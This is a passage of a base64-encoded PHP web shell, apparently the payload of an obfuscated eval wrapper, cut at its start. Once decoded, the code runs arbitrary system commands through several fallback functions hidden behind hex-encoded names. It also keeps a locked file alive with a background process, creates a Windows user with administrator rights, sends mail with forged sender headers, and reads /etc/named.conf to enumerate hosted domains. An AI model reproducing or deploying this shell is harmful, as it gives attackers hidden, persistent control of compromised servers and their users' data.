BPU1RbJ2xvY2tmaWxlJ10gPT0gdHJ1ZSkgew0KICAgICAgICAkZmxlc05hbWUgPSAkX1BPU1RbJ2xvY2tmaWxlJ107DQogICAgICAgICRUbXBOYW1lcyA9ICRmdW5nc2lbMzFdKCk7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpKSAmJiBmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dCcpKSB7DQogICAgICAgICAgICBjbWQoJ3JtIC1yZiAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsNCiAgICAgICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpKTsNCiAgICAgICAgfQ0KICAgICAgICBta2RpcigkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucyIpOw0KICAgICAgICBjbWQoImNwICRmbGVzTmFtZSAiIC4gJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMvLiIgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsNCiAgICAgICAgY21kKCJjaG1vZCA0NDQgIiAuICRmbGVzTmFtZSk7DQogICAgICAgICRoYW5kbGVyID0gJw0KPD9waHANCkBpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLCAwKTsNCndoaWxlIChUcnVlKXsNCiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpKXsNCiAgICAgICAgbWtkaXIoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIik7DQogICAgfQ0KICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkZmxlc05hbWUgLiAnIikpew0KICAgICAgICAkdGV4dCA9ICcgLiAkZnVuZ3NpWzMzXSAuICcoZmlsZV9nZXRfY29udGVudHMoIicgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykgLiAnIikpOw0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciLCAnIC4gJGZ1bmdzaVszMl0gLiAnKCR0ZXh0KSk7DQogICAgfQ0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIpICE9IDA0NDQpew0KICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciLCAwNDQ0KTsNCiAgICB9IA0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpICE9IDA1NTUpew0KICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICciLCAwNTU1KTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGdlY2tvX3Blcm0oJGZsZW5hbWUpew0KICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOw0KfQ0KJzsNCiAgICAgICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpIC4gIiIsICRoYW5kbGVyKTsNCiAgICAgICAgaWYgKCRobmRsZXJzKSB7DQogICAgICAgICAgICBjbWQoUEhQX0JJTkFSWSAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAnID4gL2Rldi9udWxsIDI+L2Rldi9udWxsICYnKTsNCiAgICAgICAgICAgIHN1Y2Nlc3MoKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZhaWxlZCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2FkZC1yZHAnXSA9PSBUcnVlKSB7DQogICAgICAgICR1c2VyUkRQID0gJF9QT1NUWydhZGQtcmRwJ107DQogICAgICAgICRwYXNzUkRQID0gJF9QT1NUWydhZGQtcmRwLXBhc3MnXTsNCiAgICAgICAgaWYgKHN0cmlzdHIoUEhQX09TLCAiV0lOIikpIHsNCiAgICAgICAgICAgICRwcm9jUkRQID0gY21kKCJuZXQgdXNlciAiIC4gJHVzZXJSRFAgLiAiICIgLiAkcGFzc1JEUCAuICIgL2FkZCIpOw0KICAgICAgICAgICAgaWYgKCRwcm9jUkRQKSB7DQogICAgICAgICAgICAgICAgY21kKCJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyAiIC4gJHVzZXJSRFAgLiAiIC9hZGQiKTsNCiAgICAgICAgICAgICAgICBzdWNjZXNzKCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGZhaWxlZCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZmFpbGVkKCk7DQogICAgICAgIH0NCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnbWFpbC1mcm9tLXNtdHAnXSA9PSBUcnVlKSB7DQogICAgICAgICRlbWFpbEZyb20gPSAkX1BPU1RbJ21haWwtZnJvbS1zbXRwJ107DQogICAgICAgICRlbWFpbFRvID0gJF9QT1NUWydtYWlsLXRvLXNtdHAnXTsNCiAgICAgICAgJGVtYWlsU3ViamVjdCA9ICRfUE9TVFsnbWFpbHRvLXN1YmplY3QnXTsNCiAgICAgICAgJG1lc3NhZ2VNYWlsID0gJF9QT1NUWydtZXNzYWdlLXNtdHAnXTsNCiAgICAgICAgJGhlYWRlcnNNYWlsID0gJ0Zyb206ICcgLiAkZW1haWxGcm9tIC4gJycgLiAiXHJcbiIgLg0KICAgICAgICAgICAgJ1JlcGx5LVRvOiAnIC4gJGVtYWlsRnJvbSAuICcnIC4gIlxyXG4iIC4NCiAgICAgICAgICAgICdYLU1haWxlcjogUEhQLycgLiBwaHB2ZXJzaW9uKCk7DQogICAgICAgICRwcm9jTWFpbFNtVHAgPSBtYWlsKCRlbWFpbFRvLCAkZW1haWxTdWJqZWN0LCAkbWVzc2FnZU1haWwsICRoZWFkZXJzTWFpbCk7DQogICAgICAgIGlmICgkcHJvY01haWxTbVRwKSB7DQogICAgICAgICAgICBzdWNjZXNzKCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmYWlsZWQoKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KaWYgKCRfR0VUWydyZXNwb25zZSddID09ICJzdWNjZXNzIikgew0KICAgIGVjaG8gIjxzY3JpcHQ+DQpTd2FsLmZpcmUoew0KICAgIGljb246ICdzdWNjZXNzJywNCiAgICB0aXRsZTogJ1N1Y2Vzc3MuLi4nLA0KICAgIHRleHQ6ICdEb25lIFN1Y2Nlc3MhJywNCiAgICBjb25maXJtQnV0dG9uQ29sb3I6ICcjMjIyNDJkJywNCn0pPC9zY3JpcHQ+IjsNCn0gZWxzZSBpZiAoJF9HRVRbJ3Jlc3BvbnNlJ10gPT0gImZhaWxlZCIpIHsNCiAgICBlY2hvICI8c2NyaXB0Pg0KU3dhbC5maXJlKHsNCiAgICBpY29uOiAnZXJyb3InLA0KICAgIHRpdGxlOiAnRmFpbGVkLi4uJywNCiAgICB0ZXh0OiAnU29tZXRoaW5nIHdyb25nIScsDQogICAgY29uZmlybUJ1dHRvbkNvbG9yOiAnIzIyMjQyZCcsDQp9KQ0KICAgIDwvc2NyaXB0PiI7DQp9DQoNCg0KZnVuY3Rpb24gc3VjY2VzcygpDQp7DQogICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRHTE9CQUxTWydmdW5nc2knXVswXSgpKSAuICcmcmVzcG9uc2U9c3VjY2VzcyI+JzsNCn0NCmZ1bmN0aW9uIGZhaWxlZCgpDQp7DQogICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRHTE9CQUxTWydmdW5nc2knXVswXSgpKSAuICcmcmVzcG9uc2U9ZmFpbGVkIj4nOw0KfQ0KDQpmdW5jdGlvbiBmb3JtYXRTaXplKCRieXRlcykNCnsNCiAgICAkdHlwZXMgPSBhcnJheSgnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+Qjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+S0I8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPk1CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5HQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+VEI8L3NwYW4+Jyk7DQogICAgZm9yICgkaSA9IDA7ICRieXRlcyA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCR0eXBlcykgLSAxKTsgJGJ5dGVzIC89IDEwMjQsICRpKyspOw0KICAgIHJldHVybiAocm91bmQoJGJ5dGVzLCAyKSAuICIgIiAuICR0eXBlc1skaV0pOw0KfQ0KDQoNCmZ1bmN0aW9uIGh4KCRuKQ0Kew0KICAgICR5ID0gJyc7DQogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKykgew0KICAgICAgICAkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOw0KICAgIH0NCiAgICByZXR1cm4gJHk7DQp9DQpmdW5jdGlvbiB1bngoJHkpDQp7DQogICAgJG4gPSAnJzsNCiAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHkpIC0gMTsgJGkgKz0gMikgew0KICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsNCiAgICB9DQogICAgcmV0dXJuICRuOw0KfQ0KDQpmdW5jdGlvbiBzdWdnZXN0X2V4cGxvaXQoKQ0Kew0KICAgICR1bmFtZSA9ICRHTE9CQUxTWydmdW5nc2knXVs4XSgpOw0KICAgICR4cGxvZCA9IGV4cGxvZGUoIiAiLCAkdW5hbWUpOw0KICAgICR4cGxkID0gZXhwbG9kZSgiLSIsICR4cGxvZFsyXSk7DQogICAgJHBsID0gZXhwbG9kZSgiLiIsICR4cGxkWzBdKTsNCiAgICByZXR1cm4gJHBsWzBdIC4gIi4iIC4gJHBsWzFdIC4gIi4iIC4gJHBsWzJdOw0KfQ0KZnVuY3Rpb24gcygpDQp7DQogICAgJGQwbWFpbnMgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzddKCIvZXRjL25hbWVkLmNvbmYiLCBmYWxzZSk7DQogICAgaWYgKCEkZDBtYWlucykgew0KICAgICAgICAkZG9tID0gIjxmb250IGNvbG9yPXJlZCBzaXplPTJweD5DYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXTwvZm9udD4iOw0KICAgICAgICAkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGNvdW50ID0gMDsNCiAgICAgICAgZm9yZWFjaCAoJGQwbWFpbnMgYXMgJGQwbWFpbikgew0KICAgICAgICAgICAgaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSkgew0KICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKSB7DQogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkZG9tID0gIiRjb3VudCBEb21haW4iOw0KICAgIH0NCiAgICByZXR1cm4gJGRvbTsNCn0NCg0KZnVuY3Rpb24gY21kKCRpbiwgJHJlID0gZmFsc2UpDQp7DQogICAgJG91dCA9ICcnOw0KICAgIHRyeSB7DQogICAgICAgIGlmICgkcmUpICRpbiA9ICRpbiAuICIgMj4mMSI7DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjVceDc4XHg2NVx4NjMiKSkgew0KICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxNl0oJGluLCAkb3V0KTsNCiAgICAgICAgICAgICRvdXQgPSBAam9pbigiXG4iLCAkb3V0KTsNCiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NjFceDczXHg3M1x4NzRceDY4XHg3Mlx4NzUiKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMTddKCRpbik7DQogICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDc5XHg3M1x4NzRceDY1XHg2ZCIpKSB7DQogICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxOF0oJGluKTsNCiAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjhceDY1XHg2Y1x4NmNceDVmXHg2NVx4NzhceDY1XHg2MyIpKSB7DQogICAgICAgICAgICAkb3V0ID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzE5XSgkaW4pOw0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2Zlx4NzBceDY1XHg2ZSIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NjNceDZjXHg2Zlx4NzNceDY1IikpIHsNCiAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bMjBdKCRpbiwgInIiKSkpIHsNCiAgICAgICAgICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpDQogICAgICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsIDEwMjQpOw0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyMV0oJGYpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg3Mlx4NmZceDYzXHg1Zlx4NmZceDcwXHg2NVx4NmUiKSkgew0KICAgICAgICAgICAgJHBpcGVzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRwcm9jZXNzID0gQCRHTE9CQUxTWydmdW5nc2knXVsyM10oJGluIC4gJyAyPiYxJywgYXJyYXkoYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IiksIGFycmF5KCJwaXBlIiwgInciKSksICRwaXBlcywgbnVsbCk7DQogICAgICAgICAgICAkb3V0ID0gQCRHTE9CQUxTWydmdW5nc2knXVsyMl0oJHBpcGVzWzFdKTsNCiAgICAgICAgfSBlbHNlaWYgKGNsYXNzX2V4aXN0cygnQ09NJykpIHsNCiAgICAgICAgICAgICRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQogICAgICAgICAgICAkZSA9ICRhbGZhV3MtPiRHTE9CQUxTWydmdW5nc2knXVsxNl0oJ2NtZC5leGUgL2MgJyAuICRfUE9TVFsnYWxmYTEnXSk7DQogICAgICAgICAgICAkc3Rkb3V0ID0gJGUtPlN0ZE91dCgpOw0KICAgICAgICAgICAgJG91dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCiAgICAgICAgfQ0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgIH0NCiAgICByZXR1cm4gJG91dDsNCn0NCg0KDQpmdW5jdGlvbiB3aW5wd2QoKQ0Kew0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRHTE9CQUxTWydmdW5nc2knXVswXSgpKTsNCn0NCg0KZnVuY3Rpb24gY29tcHJlc3NUb1ppcCgkc291cmNlRmlsZSwgJHppcEZpbGVuYW1lKQ0Kew0KICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KDQogICAgaWYgKCR6aXAtPm9wZW4oJHppcEZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpID09PSBUUlVFKSB7DQogICAgICAgICR6aXAtPmFkZEZpbGUoJHNvdXJjZUZpbGUsIGJhc2VuYW1lKCRzb3VyY2VGaWxlKSk7DQogICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgIHN1Y2Nlc3MoKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmYWlsZWQoKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHJlbW92ZV9zbGFzaCgkdmFsKQ0Kew0KICAgICR0ZXggPSBzdHJfcmVwbGFjZSgiLyIsICIiLCAkdmFsKTsNCiAgICAkdGV4MSA9IHN0cl9yZXBsYWNlKCI6IiwgIiIsICR0ZXgpOw0KICAgICR0ZXgyID0gc3RyX3JlcGxhY2UoIl8iLCAiIiwgJHRleDEpOw0KICAgICR0ZXgzID0gc3RyX3JlcGxhY2UoIiAiLCAiIiwgJHRleDIpOw0KICAgICR0ZXg0ID0gc3RyX3JlcGxhY2UoIi4iLCAiIiwgJHRleDMpOw0KICAgIHJldHVybiAkdGV4NDsNCn0NCg0KZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpDQp7DQogICAgJGRpcnMgPSBhcnJheSgkZGlyKTsNCiAgICAkZmlsZXMgPSBhcnJheSgpOw0KICAgIGZvciAoJGkgPSAwOzsgJGkrKykgew0KICAgICAgICBpZiAoaXNzZXQoJGRpcnNbJGldKSkNCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICBicmVhazsNCg0KICAgICAgICBpZiAoJG9wZW5EaXIgPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICAgICB3aGlsZSAoJHJlYWREaXIgPSBAcmVhZGRpcigkb3BlbkRpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoJEdMT0JBTFNbJ2Z1bmdzaSddWzJdKCRkaXIgLiAiLyIgLiAkcmVhZERpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSAkZGlyIC4gIi8iIC4gJHJlYWREaXI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQoNCg0KICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjRdKCRmaWxlKTsNCiAgICB9DQogICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsNCiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7DQogICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyNV0oJGRpcik7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiByZW1vdmVfZG90KCRmaWxlKQ0Kew0KICAgICRGSUxFUyA9ICRmaWxlOw0KICAgICRwY2ggPSBleHBsb2RlKCIuIiwgJEZJTEVTKTsNCiAgICByZXR1cm4gJHBjaFswXTsNCn0NCg0KDQpmdW5jdGlvbiB3aW5kb3dzRHJpdmVyKCkNCnsNCiAgICAkd2luQXJyID0gWw0KICAgICAgICAnQScsICdCJywgJ0MnLCAnRCcsICdFJywgJ0YnLCAnRycsICdIJywgJ0knLCAnSicsICdLJywgJ0wnLCAnTScsICdOJywgJ08nLCAnUCcsICdRJywgJ1InLCAnUycsICdUJywgJ1YnLCAnVycsICdYJywgJ1knLCAnWicNCiAgICBdOw0KICAgIGZvcmVhY2ggKCR3aW5BcnIgYXMgJHdpbk51bSA9PiAkd2luVmFsKSB7DQogICAgICAgIGlmIChpc19kaXIoJHdpblZhbCAuICI6LyIpKSB7DQogICAgICAgICAgICBlY2hvICI8YSBzdHlsZT0nY29sb3I6b3JhbmdlOyBmb250LXdlaWdodDpib2xkOycgaHJlZj0nP2Q9IiAuIGh4KCR3aW5WYWwgLiAiOi8iKSAuICInPlsgIiAuICR3aW5WYWwgLiAiIF0gPC9hPiZuYnNwOyI7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIG5hbWFQYW5qYW5nKCR2YWx1ZSkNCnsNCiAgICAkbmFtYU55YSA9ICR2YWx1ZTsNCiAgICAkZXh0ZW5zaSA9IHBhdGhpbmZvKCR2YWx1ZSwgUEFUSElORk9fRVhURU5TSU9OKTsNCiAgICBpZiAoc3RybGVuKCRuYW1hTnlhKSA+IDMwKSB7DQogICAgICAgIHJldHVybiBzdWJzdHIoJG5hbWFOeWEsIDAsIDMwKSAuICIuLi4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAkdmFsdWU7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBleHRyYWN0QXJjaGl2ZSgkYXJjaGl2ZUZpbGVuYW1lLCAkZXh0cmFjdFBhdGgpDQp7DQogICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQoNCiAgICBpZiAoJHppcC0+b3BlbigkYXJjaGl2ZUZpbGVuYW1lKSA9PT0gVFJVRSkgew0KICAgICAgICAkemlwLT5leHRyYWN0VG8oJGV4dHJhY3RQYXRoKTsNCiAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gcGVybXMoJGZpbGUpDQp7DQogICAgJHBlcm1zID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzZdKCRmaWxlKTsNCiAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQogICAgICAgIC8vIFNvY2tldA0KICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQogICAgICAgIC8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgJGluZm8gPSAnbCc7DQogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KICAgICAgICAvLyBSZWd1bGFyDQogICAgICAgICRpbmZvID0gJy0nOw0KICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCiAgICAgICAgLy8gQmxvY2sgc3BlY2lhbA0KICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQogICAgICAgIC8vIERpcmVjdG9yeQ0KICAgICAgICAkaW5mbyA9ICdkJzsNCiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQogICAgICAgIC8vIENoYXJhY3RlciBzcGVjaWFsDQogICAgICAgICRpbmZvID0gJ2MnOw0KICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsNCiAgICAgICAgLy8gRklGTyBwaXBlDQogICAgICAgICRpbmZvID0gJ3AnOw0KICAgIH0gZWxzZSB7DQogICAgICAgIC8vIFVua25vd24NCiAgICAgICAgJGluZm8gPSAndSc7DQogICAgfQ0KICAgIC8vIE93bmVyDQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQogICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAvLyBHcm91cA0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoNCiAgICAvLyBXb3JsZA0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQogICAgcmV0dXJuICRpbmZvOw0KfQ0KPz4NCg==")); ?>